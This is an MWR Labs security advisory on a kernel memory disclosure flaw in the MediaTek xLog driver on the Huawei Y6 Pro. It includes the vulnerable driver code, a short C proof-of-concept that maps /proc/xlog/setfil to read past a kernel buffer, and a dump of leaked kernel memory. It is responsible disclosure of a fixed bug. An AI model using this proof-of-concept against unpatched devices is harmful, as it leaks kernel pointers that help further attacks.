MWR LABS

Security Advisory

MediaTek Log Filtering Driver Information Disclosure

13/04/2018

Software	MediaTek Log Filtering Driver
Affected Versions	Huawei Y6 Pro Dual SIM (Version earlier than TIT-L01C576B121)
Author	Mateusz Fruba
Severity	Low
Vendor	Huawei
Vendor Response	Fix Released

Description:

Huawei is a company that provides networking and telecommunications equipment.

The MediaTek log filtering driver (‘xLog’), as shipped with Huawei Y6 Pro, implements a mmap interface vulnerable to an information disclosure due to insufficient input validation.

Impact:

Exploitation of this issue could allow any user to disclose sensitive information (kernel memory), which could then be used to develop further attacks.

Cause:

The MediaTek log filtering driver fails to validate user-supplied input.

Solution:

This vulnerability was resolved by Huawei in version TIT-L01C576B121. More information can be found on the Huawei web page: http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20171213-02-smartphone-en

Technical details

The MediaTek log filtering driver provides the '/proc/xlog/setfil' proc file which implements a MMAP handler called 'xlog_mmap'. This handler receives data passed from user space to the kernel.

When the 'xlog_mmap' function is called, the 'xLog_vmops' structure is assigned and used for the virtual memory operations. As shown below this function does not perform any length validation before this assignment occurs:

```
static int xlog_mmap(struct file *file, struct vm_area_struct *vma)
{
        vma->vm_ops = &xLog_vmops;
        vma->vm_flags |= VM_IO;
        vma->vm_private_data = file->private_data;
        return 0;
}
```

This lack of validation allows an attacker to create a memory mapping with an unlimited size. The following proof of concept code below will trigger creation of the mapping with a 0x10000000 bytes size.

```
printf("[+] PID: %d\n", getpid());
int fd = open("/proc/xlog/setfil", O_RDONLY);
if (fd < 0)
        return -1;
printf("[+] Open Ok!\n");

unsigned long size = 0x10000000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ, MAP_SHARED,
fd, 0x0);
if (addr == MAP_FAILED)
        return -1;
printf("Mmap ok addr: %lx\n", addr);
```

A successful huge mapping can be seen below:

```
shell@HWTIT-L6735:/ $ /data/local/tmp/exp
[+] PID: 7893
```

```
[+] Open Ok!
Mmap ok addr: 42424000
shell@HWTIT-L6735:/ $ cat /proc/7893/maps
42424000-52424000 r--s 00000000 00:03 4026533865                    /proc/xlog/setfil
```

The ‘xLog_mmap’ function uses the ‘xLog_fault’ fault handler code below to map physical memory into the previously created mapping:

```
static int xLog_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
        struct page *page = NULL;
        unsigned long offset;
        offset =
                (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma->vm_pgoff <<
PAGE_SHIFT));
        if (offset > PAGE_SIZE << 4)
                goto nopage_out;
        page = virt_to_page(xLogMem + offset);
        vmf->page = page;
        get_page(page);
nopage_out:
        return 0;
}
```

The ‘xLog_fault’ function calculates the offset of the memory page which the fault was triggered on and next retrieves the page by performing addition of the 'xLogMem’ buffer and ‘offset’ variable. Next the retrieved page is assigned to the ‘vmf->page’ field. This will cause that page to be mapped to the virtual address on which fault has occurred.

However before this happens, the following validation is performed:

```
        if (offset > PAGE_SIZE << 4)
                goto nopage_out;
```

The validation above checks to see if the fault occurred at address larger than 0x10000 and if true, it will prohibit to access that page.

However if we check the size of the xLogMem we can determine that this value is smaller than 0x10000 as the size of xLogMem buffer equals 0x1000 bytes:

```
xLogMem = (u32 *)__get_free_pages(GFP_KERNEL, 1);
```

This allows a malicious process to request 0x9000 bytes situated after xLogMem buffer, leading to kernel memory being disclosed.

A dump of 0x100 bytes of leaked kernel memory can be show below (example kernel pointers are marked with the red color):

```
5000  01 00 00 00 00 00 00 00 b0 3c c9 77 c0 ff ff ff  .........<.w....
5010  a8 77 c5 00 c0 ff ff ff 88 3e c9 77 c0 ff ff ff  .w.......>.w....
5020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
5030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
5040  02 50 d3 34 00 00 00 00 88 04 ea 00 c0 ff ff ff  .P.4............
5050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
5060  02 00 a4 81 c4 17 00 00 00 00 00 00 00 00 00 00  ................
5070  0a 00 00 00 00 00 00 00 10 0a a3 77 c0 ff ff ff  ...........w....
5080  00 26 c9 77 c0 ff ff ff c8 3c c9 77 c0 ff ff ff  .&.w.....<.w....
5090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
50a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
50b0  f2 51 00 62 00 00 00 00 28 14 ca 77 c0 ff ff ff  .Q.b....(..w....
50c0  01 00 00 00 00 00 00 00 68 21 ca 77 c0 ff ff ff  ........h!.w....
50d0  01 00 ed 41 c5 17 00 00 00 00 00 00 00 00 00 00  ...A............
50e0  03 00 00 00 00 00 00 00 70 20 ca 77 c0 ff ff ff  ........p .w....
50f0  40 76 be 00 c0 ff ff ff 69 21 ca 77 c0 ff ff ff  @v......i!.w....
```

Detailed Timeline

Date	Summary
2017-08-22	Issue reported to Huawei.
2017-12-13	Huawei confirmed this issue was fixed in version TIT-L01C576B121
2018-04-13	MWR Labs Advisory Published